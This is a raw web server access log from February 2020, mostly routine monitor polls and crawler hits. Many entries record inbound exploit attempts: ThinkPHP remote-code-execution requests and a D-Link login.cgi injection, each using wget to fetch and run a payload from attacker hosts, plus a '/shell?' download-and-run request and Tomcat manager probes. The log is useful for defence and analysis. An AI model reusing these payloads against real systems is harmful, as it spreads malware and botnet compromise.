94.51.55.145 - - [04/Feb/2020:12:32:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.35.173.108 - - [04/Feb/2020:12:35:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [04/Feb/2020:12:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.156.152.196 - - [04/Feb/2020:12:36:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
145.255.9.172 - - [04/Feb/2020:12:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
187.138.88.31 - - [04/Feb/2020:12:38:28 +0100] "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
39.106.219.74 - - [04/Feb/2020:12:38:32 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [04/Feb/2020:12:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.142.54 - - [04/Feb/2020:12:40:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.20.247.193 - - [04/Feb/2020:12:42:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.0.88.164 - - [04/Feb/2020:12:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:12:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.78.179.37 - - [04/Feb/2020:12:44:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:12:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.83.36 - - [04/Feb/2020:12:47:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
43.225.192.18 - - [04/Feb/2020:12:47:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:12:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.44.209 - - [04/Feb/2020:12:49:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.29.122 - - [04/Feb/2020:12:56:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.213.122.46 - - [04/Feb/2020:12:56:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:12:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.117 - - [04/Feb/2020:12:58:56 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
151.80.39.39 - - [04/Feb/2020:12:59:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
92.55.112.239 - - [04/Feb/2020:12:59:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:12:59:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.131.113.24 - - [04/Feb/2020:13:00:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:13:00:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:01:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.241.247 - - [04/Feb/2020:13:02:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:13:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:03:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.44.208.166 - - [04/Feb/2020:13:04:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:13:04:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.45.119.49 - - [04/Feb/2020:13:04:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
78.188.180.121 - - [04/Feb/2020:13:04:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:13:05:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:06:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.191.66.222 - - [04/Feb/2020:13:06:45 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [04/Feb/2020:13:06:45 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [04/Feb/2020:13:06:45 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
60.191.66.222 - - [04/Feb/2020:13:06:46 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
187.10.37.142 - - [04/Feb/2020:13:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
60.191.66.222 - - [04/Feb/2020:13:06:52 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"
94.51.54.5 - - [04/Feb/2020:13:07:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:07:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.70 - - [04/Feb/2020:13:08:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:08:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.2.14.184 - - [04/Feb/2020:13:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:13:09:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:10:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:11:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:12:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.118.182.231 - - [04/Feb/2020:13:13:08 +0100] "GET / HTTP/1.1" 400 535 "-" "Karu/2.0"
212.91.246.72 - - [04/Feb/2020:13:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.106.220 - - [04/Feb/2020:13:14:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:14:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:15:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.138.220 - - [04/Feb/2020:13:16:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.57.98.124 - - [04/Feb/2020:13:16:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:16:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.66.224 - - [04/Feb/2020:13:17:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:17:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.56.138 - - [04/Feb/2020:13:21:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.47.251 - - [04/Feb/2020:13:21:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.137.163.173 - - [04/Feb/2020:13:23:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
187.137.163.173 - - [04/Feb/2020:13:23:21 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
187.137.163.173 - - [04/Feb/2020:13:23:21 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [04/Feb/2020:13:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.244 - - [04/Feb/2020:13:24:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.141.137.179 - - [04/Feb/2020:13:24:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.123.216 - - [04/Feb/2020:13:26:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.147.173.93 - - [04/Feb/2020:13:30:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [04/Feb/2020:13:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.254.236.33 - - [04/Feb/2020:13:31:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.160.170.168 - - [04/Feb/2020:13:32:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:13:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [04/Feb/2020:13:36:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.43.154 - - [04/Feb/2020:13:37:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.130.254 - - [04/Feb/2020:13:39:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
165.16.37.167 - - [04/Feb/2020:13:39:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [04/Feb/2020:13:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.187.209.166 - - [04/Feb/2020:13:42:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [04/Feb/2020:13:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.252.9.53 - - [04/Feb/2020:13:45:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [04/Feb/2020:13:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [04/Feb/2020:13:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
